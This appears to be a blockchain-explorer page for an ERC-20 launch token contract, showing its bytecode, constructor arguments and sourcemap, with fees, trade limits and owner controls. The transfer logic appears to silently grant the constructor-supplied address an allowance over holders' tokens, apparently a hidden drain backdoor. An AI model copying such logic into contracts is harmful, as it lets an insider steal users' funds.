30000000000000000000000005fc5e9b63668e1bf66d27f8c5ebe81dee9dac616

Deployed Bytecode

0x6080604052600436106101445760003560e01c806370a08231116100b657806395d89b411161006f57806395d89b411461037a578063a9059cbb146103a8578063c876d0b9146103c8578063da071491146103e2578063dd62ed3e146103f7578063f42938901461043d57600080fd5b806370a08231146102c1578063715018a6146102f75780637d1db4a51461030c578063802f3caf146103225780638da5cb5b1461033c5780638f9a55c01461036457600080fd5b806323b872dd1161010857806323b872dd14610216578063313ce5671461023657806351bc3c85146102525780635665c2d91461026757806356cd40e71461027c578063708f2c5a1461029157600080fd5b806306fdde0314610150578063095ea7b3146101965780630faee56f146101c657806318160ddd146101ea5780631963ce02146101ff57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600b81526a15149553540815d3d4931160aa1b60208201525b60405161018d9190611890565b60405180910390f35b3480156101a257600080fd5b506101b66101b13660046118f3565b610452565b604051901515815260200161018d565b3480156101d257600080fd5b506101dc60125481565b60405190815260200161018d565b3480156101f657600080fd5b506101dc610469565b34801561020b57600080fd5b5061021461048a565b005b34801561022257600080fd5b506101b661023136600461191f565b61051e565b34801561024257600080fd5b506040516012815260200161018d565b34801561025e57600080fd5b50610214610587565b34801561027357600080fd5b506102146105da565b34801561028857600080fd5b5061021461061d565b34801561029d57600080fd5b506101b66102ac366004611960565b60056020526000908152604090205460ff1681565b3480156102cd57600080fd5b506101dc6102dc366004611960565b6001600160a01b031660009081526001602052604090205490565b34801561030357600080fd5b506102146106e6565b34801561031857600080fd5b506101dc60105481565b34801561032e57600080fd5b506013546101b69060ff1681565b34801561034857600080fd5b506000546040516001600160a01b03909116815260200161018d565b34801561037057600080fd5b506101dc60115481565b34801561038657600080fd5b506040805180820190915260058152640a8a4aaa8960db1b6020820152610180565b3480156103b457600080fd5b506101b66103c33660046118f3565b61075a565b3480156103d457600080fd5b506006546101b69060ff1681565b3480156103ee57600080fd5b50610214610767565b34801561040357600080fd5b506101dc61041236600461197d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561044957600080fd5b50610214610b3e565b600061045f338484610b72565b5060015b92915050565b60006104776012600a611ab0565b610485906305f5e100611abf565b905090565b6000546001600160a01b031633146104a157600080fd5b600047116104ef5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064015b60405180910390fd5b60405133904780156108fc02916000818181858888f1935050505015801561051b573d6000803e3d6000fd5b50565b600061052b848484610c96565b61057d843361057885604051806060016040528060288152602001611c61602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611465565b610b72565b5060019392505050565b6007546001600160a01b0316336001600160a01b0316146105a757600080fd5b3060009081526001602052604090205480156105c6576105c68161149f565b4780156105d6576105d68161163c565b5050565b6000546001600160a01b031633146106045760405162461bcd60e51b81526004016104e690611ad6565b6014805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146106475760405162461bcd60e51b81526004016104e690611ad6565b6106536012600a611ab0565b610661906305f5e100611abf565b6010556106706012600a611ab0565b61067e906305f5e100611abf565b6011556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106b86012600a611ab0565b6106c6906305f5e100611abf565b60405190815260200160405180910390a16013805460ff19166001179055565b6000546001600160a01b031633146107105760405162461bcd60e51b81526004016104e690611ad6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045f338484610c96565b6000546001600160a01b031633146107915760405162461bcd60e51b81526004016104e690611ad6565b601454600160a01b900460ff16156107eb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e6565b60138054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556108449030906001600160a01b03610100909104166108366012600a611ab0565b610578906305f5e100611abf565b601360019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610897573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bb9190611b0b565b6001600160a01b031663c9c6539630601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561091d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109419190611b0b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561098e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b29190611b0b565b601480546001600160a01b039283166001600160a01b031990911681179091556000908152600560205260409020805460ff1916600117905560135461010090041663f305d7194730610a1a816001600160a01b031660009081526001602052604090205490565b600080610a2f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a97573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610abc9190611b28565b505060145460135460405163095ea7b360e01b81526001600160a01b036101009092048216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b1a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051b9190611b56565b6000546001600160a01b03163314610b685760405162461bcd60e51b81526004016104e690611ad6565b4761051b8161163c565b6001600160a01b038316610bd45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e6565b6001600160a01b038216610c355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e6565b6001600160a01b038216610d5c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e6565b60008111610dbe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e6565b601454600160a01b900460ff16610e53576001600160a01b03831660009081526003602052604090205460ff1680610e0e57506001600160a01b03821660009081526003602052604090205460ff165b610e535760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016104e6565b601454600090600160b01b900460ff161580610e785750601454600160a81b900460ff165b15610f1f576001600160a01b038416600090815260016020526040902054610ea09083611676565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610ecf90836116bf565b6001600160a01b038085166000818152600160205260409081902093909355915190861690600080516020611c8983398151915290610f119086815260200190565b60405180910390a350505050565b6001600160a01b03841660009081526005602052604081205460ff16158015610f6157506001600160a01b03841660009081526005602052604090205460ff16155b9050610f756000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610fa457506000546001600160a01b03858116911614155b156112e057610fd56064610fcf600c54600f5411610fc457600854610fc8565b600a545b869061171e565b906117a0565b60065490925060ff16156110c2576013546001600160a01b03858116610100909204161480159061101457506014546001600160a01b03858116911614155b156110c2573260009081526004602052604090205443116110af5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104e6565b3260009081526004602052604090204390555b6014546001600160a01b0386811691161480156110f257506013546001600160a01b038581166101009092041614155b801561111757506001600160a01b03841660009081526003602052604090205460ff16155b156111ff5760105483111561116e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e6565b60115483611191866001600160a01b031660009081526001602052604090205490565b61119b9190611b78565b11156111e95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e6565b600f80549060006111f983611b8b565b91905055505b6014546001600160a01b03858116911614801561122557506001600160a01b0385163014155b156112525761124f6064610fcf600d54600f541161124557600954610fc8565b600b54869061171e565b91505b30600090815260016020526040902054601454600160a81b900460ff1615801561128957506014546001600160a01b038681169116145b801561129e5750601454600160b01b900460ff165b80156112ad5750600e54600f54115b156112de5780156112d5576112d56112d0856112cb846012546117e2565b6117e2565b61149f565b6112de4761163c565b505b60018115801561130957506001600160a01b03851660009081526005602052604090205460ff16155b15611344576001600160a01b03861660009081526003602052604090205460ff1661133e576113398686866117f7565b611341565b60005b90505b82156113ac573060009081526001602052604090205461136490846116bf565b30600081815260016020526040908190209290925590516001600160a01b03881690600080516020611c89833981519152906113a39087815260200190565b60405180910390a35b6001600160a01b0386166000908152600160205260409020546113cf9085611676565b6001600160a01b0387166000908152600160205260409020556114146113f58585611676565b6001600160a01b038716600090815260016020526040902054906116bf565b6001600160a01b038087166000818152600160205260409020929092558716600080516020611c8983398151915261144c8787611676565b60405190815260200160405180910390a3505050505050565b600081848411156114895760405162461bcd60e51b81526004016104e69190611890565b5060006114968486611ba4565b95945050505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114e7576114e7611bb7565b60200260200101906001600160a01b031690816001600160a01b031681525050601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561155a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061157e9190611b0b565b8160018151811061159157611591611bb7565b6001600160a01b0392831660209182029290920101526013546115bc91309161010090041684610b72565b60135460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906115f9908590600090869030904290600401611bcd565b600060405180830381600087803b15801561161357600080fd5b505af1158015611627573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105d6573d6000803e3d6000fd5b60006116b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611465565b9392505050565b6000806116cc8385611b78565b9050838110156116b85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e6565b60008260000361173057506000610463565b600061173c8385611abf565b9050826117498583611c3e565b146116b85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e6565b60006116b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611862565b60008183116117f157826116b8565b50919050565b60065460009061181d90859061010090046001600160a01b03166108366012600a611ab0565b826001600160a01b0316846001600160a01b0316600080516020611c898339815191528460405161185091815260200190565b60405180910390a35060019392505050565b600081836118835760405162461bcd60e51b81526004016104e69190611890565b5060006114968486611c3e565b600060208083528351808285015260005b818110156118bd578581018301518582016040015282016118a1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461051b57600080fd5b6000806040838503121561190657600080fd5b8235611911816118de565b946020939093013593505050565b60008060006060848603121561193457600080fd5b833561193f816118de565b9250602084013561194f816118de565b929592945050506040919091013590565b60006020828403121561197257600080fd5b81356116b8816118de565b6000806040838503121561199057600080fd5b823561199b816118de565b915060208301356119ab816118de565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611a075781600019048211156119ed576119ed6119b6565b808516156119fa57918102915b93841c93908002906119d1565b509250929050565b600082611a1e57506001610463565b81611a2b57506000610463565b8160018114611a415760028114611a4b57611a67565b6001915050610463565b60ff841115611a5c57611a5c6119b6565b50506001821b610463565b5060208310610133831016604e8410600b8410161715611a8a575081810a610463565b611a9483836119cc565b8060001904821115611aa857611aa86119b6565b029392505050565b60006116b860ff841683611a0f565b8082028115828204841417610463576104636119b6565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b1d57600080fd5b81516116b8816118de565b600080600060608486031215611b3d57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b6857600080fd5b815180151581146116b857600080fd5b80820180821115610463576104636119b6565b600060018201611b9d57611b9d6119b6565b5060010190565b81810381811115610463576104636119b6565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c1d5784516001600160a01b031683529383019391830191600101611bf8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c5b57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220387ef5797ba48f59bff384a610f6bdb78299c1b13fbabddb7f18dc0d19f59f5764736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000005fc5e9b63668e1bf66d27f8c5ebe81dee9dac616

-----Decoded View---------------
Arg [0] : _router (address): 0x5fc5E9B63668E1bF66d27f8c5EBE81dEe9DAC616

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000005fc5e9b63668e1bf66d27f8c5ebe81dee9dac616


Deployed Bytecode Sourcemap

3871:10562:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5997:83;;;;;;;;;;-1:-1:-1;6067:5:0;;;;;;;;;;;;-1:-1:-1;;;6067:5:0;;;;5997:83;;;;;;;:::i;:::-;;;;;;;;6880:186;;;;;;;;;;-1:-1:-1;6880:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6880:186:0;1023:187:1;5094:56:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5094:56:0;1215:177:1;6274:95:0;;;;;;;;;;;;;:::i;14206:224::-;;;;;;;;;;;;;:::i;:::-;;7074:446;;;;;;;;;;-1:-1:-1;7074:446:0;;;;;:::i;:::-;;:::i;6183:83::-;;;;;;;;;;-1:-1:-1;6183:83:0;;4768:2;2000:36:1;;1988:2;1973:18;6183:83:0;1858:184:1;13671:366:0;;;;;;;;;;;;;:::i;12666:108::-;;;;;;;;;;;;;:::i;12331:227::-;;;;;;;;;;;;;:::i;4215:41::-;;;;;;;;;;-1:-1:-1;4215:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6377:119;;;;;;;;;;-1:-1:-1;6377:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6470:18:0;6443:7;6470:18;;;:9;:18;;;;;;;6377:119;2902:148;;;;;;;;;;;;;:::i;4964:57::-;;;;;;;;;;;;;;;;5159:28;;;;;;;;;;-1:-1:-1;5159:28:0;;;;;;;;2688:79;;;;;;;;;;-1:-1:-1;2726:7:0;2753:6;2688:79;;-1:-1:-1;;;;;2753:6:0;;;2445:51:1;;2433:2;2418:18;2688:79:0;2299:203:1;5028:59:0;;;;;;;;;;;;;;;;6088:87;;;;;;;;;;-1:-1:-1;6160:7:0;;;;;;;;;;;;-1:-1:-1;;;6160:7:0;;;;6088:87;;6504:192;;;;;;;;;;-1:-1:-1;6504:192:0;;;;;:::i;:::-;;:::i;4265:40::-;;;;;;;;;;-1:-1:-1;4265:40:0;;;;;;;;12782:844;;;;;;;;;;;;;:::i;6704:168::-;;;;;;;;;;-1:-1:-1;6704:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6837:18:0;;;6810:7;6837:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6704:168;14045:153;;;;;;;;;;;;;:::i;6880:186::-;6980:4;6997:39;315:10;7020:7;7029:6;6997:8;:39::i;:::-;-1:-1:-1;7054:4:0;6880:186;;;;;:::o;6274:95::-;6327:7;4826:15;4768:2;4826;:15;:::i;:::-;4812:29;;:11;:29;:::i;:::-;6347:14;;6274:95;:::o;14206:224::-;2726:7;2753:6;-1:-1:-1;;;;;2753:6:0;14267:10;:21;14259:30;;;;;;14332:1;14308:21;:25;14300:60;;;;-1:-1:-1;;;14300:60:0;;4790:2:1;14300:60:0;;;4772:21:1;4829:2;4809:18;;;4802:30;-1:-1:-1;;;4848:18:1;;;4841:52;4910:18;;14300:60:0;;;;;;;;;14371:51;;14379:10;;14400:21;14371:51;;;;;;;;;14400:21;14379:10;14371:51;;;;;;;;;;;;;;;;;;;;;14206:224::o;7074:446::-;7206:4;7223:36;7233:6;7241:9;7252:6;7223:9;:36::i;:::-;7270:220;7293:6;315:10;7341:138;7397:6;7341:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7341:19:0;;;;;;:11;:19;;;;;;;;315:10;7341:33;;;;;;;;;;:37;:138::i;:::-;7270:8;:220::i;:::-;-1:-1:-1;7508:4:0;7074:446;;;;;:::o;13671:366::-;13737:10;;-1:-1:-1;;;;;13737:10:0;315;-1:-1:-1;;;;;13721:26:0;;13713:35;;;;;;13800:4;13759:20;6470:18;;;:9;:18;;;;;;13821:16;;13817:79;;13854:30;13871:12;13854:16;:30::i;:::-;13927:21;13963:14;;13959:71;;13994:24;14007:10;13994:12;:24::i;:::-;13702:335;;13671:366::o;12666:108::-;2815:6;;-1:-1:-1;;;;;2815:6:0;315:10;2815:22;2807:67;;;;-1:-1:-1;;;2807:67:0;;;;;;;:::i;:::-;12719:11:::1;:18:::0;;-1:-1:-1;;;;12748:18:0;-1:-1:-1;;;12748:18:0;;;12666:108::o;12331:227::-;2815:6;;-1:-1:-1;;;;;2815:6:0;315:10;2815:22;2807:67;;;;-1:-1:-1;;;2807:67:0;;;;;;;:::i;:::-;4826:15:::1;4768:2;4826;:15;:::i;:::-;4812:29;::::0;:11:::1;:29;:::i;:::-;12385:12;:22:::0;4826:15:::1;4768:2;4826;:15;:::i;:::-;4812:29;::::0;:11:::1;:29;:::i;:::-;12418:14;:24:::0;12453:20:::1;:28:::0;;-1:-1:-1;;12453:28:0::1;::::0;;12497:27:::1;4826:15;4768:2;4826;:15;:::i;:::-;4812:29;::::0;:11:::1;:29;:::i;:::-;12497:27;::::0;1361:25:1;;;1349:2;1334:18;12497:27:0::1;;;;;;;12535:8;:15:::0;;-1:-1:-1;;12535:15:0::1;12546:4;12535:15;::::0;;12331:227::o;2902:148::-;2815:6;;-1:-1:-1;;;;;2815:6:0;315:10;2815:22;2807:67;;;;-1:-1:-1;;;2807:67:0;;;;;;;:::i;:::-;3009:1:::1;2993:6:::0;;2972:40:::1;::::0;-1:-1:-1;;;;;2993:6:0;;::::1;::::0;2972:40:::1;::::0;3009:1;;2972:40:::1;3040:1;3023:19:::0;;-1:-1:-1;;;;;;3023:19:0::1;::::0;;2902:148::o;6504:192::-;6607:4;6624:42;315:10;6648:9;6659:6;6624:9;:42::i;12782:844::-;2815:6;;-1:-1:-1;;;;;2815:6:0;315:10;2815:22;2807:67;;;;-1:-1:-1;;;2807:67:0;;;;;;;:::i;:::-;12849:11:::1;::::0;-1:-1:-1;;;12849:11:0;::::1;;;12848:12;12840:48;;;::::0;-1:-1:-1;;;12840:48:0;;5502:2:1;12840:48:0::1;::::0;::::1;5484:21:1::0;5541:2;5521:18;;;5514:30;5580:25;5560:18;;;5553:53;5623:18;;12840:48:0::1;5300:347:1::0;12840:48:0::1;12899:15;:134:::0;;-1:-1:-1;;;;;;12899:134:0::1;::::0;::::1;::::0;;;;13044:58:::1;::::0;13061:4:::1;::::0;-1:-1:-1;;;;;12899:134:0::1;13076:15:::0;;::::1;;4826;4768:2;4826;:15;:::i;:::-;4812:29;::::0;:11:::1;:29;:::i;13044:58::-;13147:15;;;;;;;;;-1:-1:-1::0;;;;;13147:15:0::1;-1:-1:-1::0;;;;;13147:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13129:55:0::1;;13207:4;13227:15;;;;;;;;;-1:-1:-1::0;;;;;13227:15:0::1;-1:-1:-1::0;;;;;13227:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13129:131;::::0;-1:-1:-1;;;;;;13129:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6138:15:1;;;13129:131:0::1;::::0;::::1;6120:34:1::0;6190:15;;6170:18;;;6163:43;6055:18;;13129:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13113:13;:147:::0;;-1:-1:-1;;;;;13113:147:0;;::::1;-1:-1:-1::0;;;;;;13113:147:0;;::::1;::::0;::::1;::::0;;;:13:::1;13271:24:::0;;;:9:::1;:24;::::0;;;;:31;;-1:-1:-1;;13271:31:0::1;13113:147:::0;13271:31:::1;::::0;;13313:15:::1;::::0;13113:147:::1;13313:15:::0;::::1;;:31;13352:21;13397:4;13417:24;13397:4:::0;-1:-1:-1;;;;;6470:18:0;6443:7;6470:18;;;:9;:18;;;;;;;6377:119;13417:24:::1;13456:1;13472::::0;13488:7:::1;2726::::0;2753:6;-1:-1:-1;;;;;2753:6:0;;2688:79;13488:7:::1;13313:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13313:223:0;;;-1:-1:-1;;;;;6576:15:1;;;13313:223:0::1;::::0;::::1;6558:34:1::0;6608:18;;;6601:34;;;;6651:18;;;6644:34;;;;6694:18;;;6687:34;6758:15;;;6737:19;;;6730:44;13510:15:0::1;6790:19:1::0;;;6783:35;6492:19;;13313:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13554:13:0::1;::::0;13585:15:::1;::::0;13547:71:::1;::::0;-1:-1:-1;;;13547:71:0;;-1:-1:-1;;;;;13554:13:0::1;13585:15:::0;;::::1;::::0;::::1;13547:71;::::0;::::1;7314:51:1::0;-1:-1:-1;;7381:18:1;;;7374:34;13554:13:0;::::1;::::0;-1:-1:-1;13547:29:0::1;::::0;7287:18:1;;13547:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;14045:153::-:0;2815:6;;-1:-1:-1;;;;;2815:6:0;315:10;2815:22;2807:67;;;;-1:-1:-1;;;2807:67:0;;;;;;;:::i;:::-;14126:21:::1;14158:32;14126:21:::0;14158:12:::1;:32::i;7528:335::-:0;-1:-1:-1;;;;;7621:19:0;;7613:68;;;;-1:-1:-1;;;7613:68:0;;7903:2:1;7613:68:0;;;7885:21:1;7942:2;7922:18;;;7915:30;7981:34;7961:18;;;7954:62;-1:-1:-1;;;8032:18:1;;;8025:34;8076:19;;7613:68:0;7701:400:1;7613:68:0;-1:-1:-1;;;;;7700:21:0;;7692:68;;;;-1:-1:-1;;;7692:68:0;;8308:2:1;7692:68:0;;;8290:21:1;8347:2;8327:18;;;8320:30;8386:34;8366:18;;;8359:62;-1:-1:-1;;;8437:18:1;;;8430:32;8479:19;;7692:68:0;8106:398:1;7692:68:0;-1:-1:-1;;;;;7771:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7823:32;;1361:25:1;;;7823:32:0;;1334:18:1;7823:32:0;;;;;;;7528:335;;;:::o;7871:3591::-;-1:-1:-1;;;;;7961:18:0;;7953:68;;;;-1:-1:-1;;;7953:68:0;;8711:2:1;7953:68:0;;;8693:21:1;8750:2;8730:18;;;8723:30;8789:34;8769:18;;;8762:62;-1:-1:-1;;;8840:18:1;;;8833:35;8885:19;;7953:68:0;8509:401:1;7953:68:0;-1:-1:-1;;;;;8040:16:0;;8032:64;;;;-1:-1:-1;;;8032:64:0;;9117:2:1;8032:64:0;;;9099:21:1;9156:2;9136:18;;;9129:30;9195:34;9175:18;;;9168:62;-1:-1:-1;;;9246:18:1;;;9239:33;9289:19;;8032:64:0;8915:399:1;8032:64:0;8124:1;8115:6;:10;8107:64;;;;-1:-1:-1;;;8107:64:0;;9521:2:1;8107:64:0;;;9503:21:1;9560:2;9540:18;;;9533:30;9599:34;9579:18;;;9572:62;-1:-1:-1;;;9650:18:1;;;9643:39;9699:19;;8107:64:0;9319:405:1;8107:64:0;8189:11;;-1:-1:-1;;;8189:11:0;;;;8184:179;;-1:-1:-1;;;;;8243:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;8271:22:0;;;;;;:18;:22;;;;;;;;8243:50;8217:134;;;;-1:-1:-1;;;8217:134:0;;9931:2:1;8217:134:0;;;9913:21:1;9970:2;9950:18;;;9943:30;-1:-1:-1;;;9989:18:1;;;9982:52;10051:18;;8217:134:0;9729:346:1;8217:134:0;8414:11;;8375:17;;-1:-1:-1;;;8414:11:0;;;;8413:12;;:22;;-1:-1:-1;8429:6:0;;-1:-1:-1;;;8429:6:0;;;;8413:22;8409:223;;;-1:-1:-1;;;;;8470:15:0;;;;;;:9;:15;;;;;;:27;;8490:6;8470:19;:27::i;:::-;-1:-1:-1;;;;;8452:15:0;;;;;;;:9;:15;;;;;;:45;;;;8528:13;;;;;;;:25;;8546:6;8528:17;:25::i;:::-;-1:-1:-1;;;;;8512:13:0;;;;;;;:9;:13;;;;;;;:41;;;;8573:26;;;;;;-1:-1:-1;;;;;;;;;;;8573:26:0;;;8592:6;1361:25:1;;1349:2;1334:18;;1215:177;8573:26:0;;;;;;;;8614:7;7871:3591;;;:::o;8409:223::-;-1:-1:-1;;;;;8663:15:0;;8644;8663;;;:9;:15;;;;;;;;8662:16;:34;;;;-1:-1:-1;;;;;;8683:13:0;;;;;;:9;:13;;;;;;;;8682:14;8662:34;8644:52;;8729:7;2726;2753:6;-1:-1:-1;;;;;2753:6:0;;2688:79;8729:7;-1:-1:-1;;;;;8721:15:0;:4;-1:-1:-1;;;;;8721:15:0;;;:32;;;;-1:-1:-1;2726:7:0;2753:6;-1:-1:-1;;;;;8740:13:0;;;2753:6;;8740:13;;8721:32;8717:2157;;;8782:208;8986:3;8782:181;8846:15;;8834:9;;:27;8833:111;;8930:14;;8833:111;;;8890:12;;8833:111;8782:6;;:28;:181::i;:::-;:203;;:208::i;:::-;9011:20;;8770:220;;-1:-1:-1;9011:20:0;;9007:522;;;9092:15;;-1:-1:-1;;;;;9078:30:0;;;9092:15;;;;;9078:30;;;;:83;;-1:-1:-1;9147:13:0;;-1:-1:-1;;;;;9133:28:0;;;9147:13;;9133:28;;9078:83;9052:462;;;9267:9;9238:39;;;;:28;:39;;;;;;9280:12;-1:-1:-1;9204:213:0;;;;-1:-1:-1;;;9204:213:0;;10282:2:1;9204:213:0;;;10264:21:1;10321:2;10301:18;;;10294:30;10360:34;10340:18;;;10333:62;10431:34;10411:18;;;10404:62;-1:-1:-1;;;10482:19:1;;;10475:40;10532:19;;9204:213:0;10080:477:1;9204:213:0;9469:9;9440:39;;;;:28;:39;;;;;9482:12;9440:54;;9052:462;9575:13;;-1:-1:-1;;;;;9567:21:0;;;9575:13;;9567:21;:72;;;;-1:-1:-1;9623:15:0;;-1:-1:-1;;;;;9609:30:0;;;9623:15;;;;;9609:30;;9567:72;:116;;;;-1:-1:-1;;;;;;9661:22:0;;;;;;:18;:22;;;;;;;;9660:23;9567:116;9545:438;;;9736:12;;9726:6;:22;;9718:60;;;;-1:-1:-1;;;9718:60:0;;10764:2:1;9718:60:0;;;10746:21:1;10803:2;10783:18;;;10776:30;10842:27;10822:18;;;10815:55;10887:18;;9718:60:0;10562:349:1;9718:60:0;9853:14;;9843:6;9827:13;9837:2;-1:-1:-1;;;;;6470:18:0;6443:7;6470:18;;;:9;:18;;;;;;;6377:119;9827:13;:22;;;;:::i;:::-;:40;;9797:140;;;;-1:-1:-1;;;9797:140:0;;11248:2:1;9797:140:0;;;11230:21:1;11287:2;11267:18;;;11260:30;11326:28;11306:18;;;11299:56;11372:18;;9797:140:0;11046:350:1;9797:140:0;9956:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9545:438;10009:13;;-1:-1:-1;;;;;10003:19:0;;;10009:13;;10003:19;:44;;;;-1:-1:-1;;;;;;10026:21:0;;10042:4;10026:21;;10003:44;9999:332;;;10080:235;10311:3;10080:204;10152:16;;10140:9;;:28;10139:122;;10246:15;;10139:122;;;10201:13;;10080:6;;:32;:204::i;:235::-;10068:247;;9999:332;10396:4;10347:28;6470:18;;;:9;:18;;;;;;10440:6;;-1:-1:-1;;;10440:6:0;;;;10439:7;:47;;;;-1:-1:-1;10473:13:0;;-1:-1:-1;;;;;10467:19:0;;;10473:13;;10467:19;10439:47;:79;;;;-1:-1:-1;10507:11:0;;-1:-1:-1;;;10507:11:0;;;;10439:79;:130;;;;;10551:18;;10539:9;;:30;10439:130;10417:446;;;10608:24;;10604:190;;10657:117;10700:51;10704:6;10712:38;10716:20;10738:11;;10712:3;:38::i;:::-;10700:3;:51::i;:::-;10657:16;:117::i;:::-;10812:35;10825:21;10812:12;:35::i;:::-;8755:2119;8717:2157;10899:4;10918:11;;:29;;;;-1:-1:-1;;;;;;10934:13:0;;;;;;:9;:13;;;;;;;;10933:14;10918:29;10914:177;;;-1:-1:-1;;;;;10974:24:0;;;;;;:18;:24;;;;;;;;:105;;11043:36;11062:4;11068:2;11072:6;11043:18;:36::i;:::-;10974:105;;;11018:5;10974:105;10964:115;;10914